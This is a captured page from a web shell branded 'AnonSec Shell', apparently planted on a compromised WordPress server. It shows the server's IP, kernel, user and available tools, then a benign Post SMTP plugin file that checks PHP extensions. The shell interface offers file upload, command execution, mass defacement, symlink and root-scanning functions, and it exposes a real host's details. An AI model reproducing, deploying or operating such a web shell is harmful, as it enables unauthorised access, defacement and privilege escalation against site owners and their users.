AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.111   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/plugins/post-smtp.off/Postman/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/cwd/wp-content/plugins/post-smtp.off/Postman/PostmanPreRequisitesCheck.php
<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}
if (! class_exists ( 'PostmanPreRequisitesCheck' )) {
	class PostmanPreRequisitesCheck {
		public static function checkIconv() {
			return function_exists ( 'iconv' );
		}
		public static function checkSpl() {
			return function_exists ( 'spl_autoload_register' );
		}
		public static function checkZlibEncode() {
			return extension_loaded ( "zlib" ) && function_exists ( 'gzcompress' ) && function_exists ( 'gzuncompress' );
		}
		public static function checkOpenSsl() {
			// apparently curl can use ssl libraries in the OS, and doesn't need ssl in PHP
			return extension_loaded ( 'openssl' ) || extension_loaded ( 'php_openssl' );
		}
		public static function checkSockets() {
			return extension_loaded ( 'sockets' ) || extension_loaded ( 'php_sockets' );
		}
		public static function checkAllowUrlFopen() {
			return filter_var ( ini_get ( 'allow_url_fopen' ), FILTER_VALIDATE_BOOLEAN );
		}
		public static function checkMcrypt() {
			return function_exists ( 'mcrypt_get_iv_size' ) && function_exists ( 'mcrypt_create_iv' ) && function_exists ( 'mcrypt_encrypt' ) && function_exists ( 'mcrypt_decrypt' );
		}
		/**
		 * Return an array of state:
		 * [n][name=>x,ready=>true|false,required=true|false]
		 */
		public static function getState() {
			$state = array ();
			array_push ( $state, array (
					'name' => 'iconv',
					'ready' => self::checkIconv (),
					'required' => true 
			) );
			array_push ( $state, array (
					'name' => 'spl_autoload',
					'ready' => self::checkSpl (),
					'required' => true 
			) );
			array_push ( $state, array (
					'name' => 'openssl',
					'ready' => self::checkOpenSsl (),
					'required' => false 
			) );
			array_push ( $state, array (
					'name' => 'sockets',
					'ready' => self::checkSockets (),
					'required' => false 
			) );
			array_push ( $state, array (
					'name' => 'allow_url_fopen',
					'ready' => self::checkAllowUrlFopen (),
					'required' => false 
			) );
			array_push ( $state, array (
					'name' => 'mcrypt',
					'ready' => self::checkMcrypt (),
					'required' => false 
			) );
			array_push ( $state, array (
					'name' => 'zlib_encode',
					'ready' => self::checkZlibEncode (),
					'required' => false 
			) );
			return $state;
		}
		/**
		 *
		 * @return boolean
		 */
		public static function isReady() {
			$states = self::getState ();
			foreach ( $states as $state ) {
				if ($state ['ready'] == false && $state ['required'] == true) {
					return false;
				}
			}
			
			return true;
		}
	}
}

Anon7 - 2022
AnonSec Team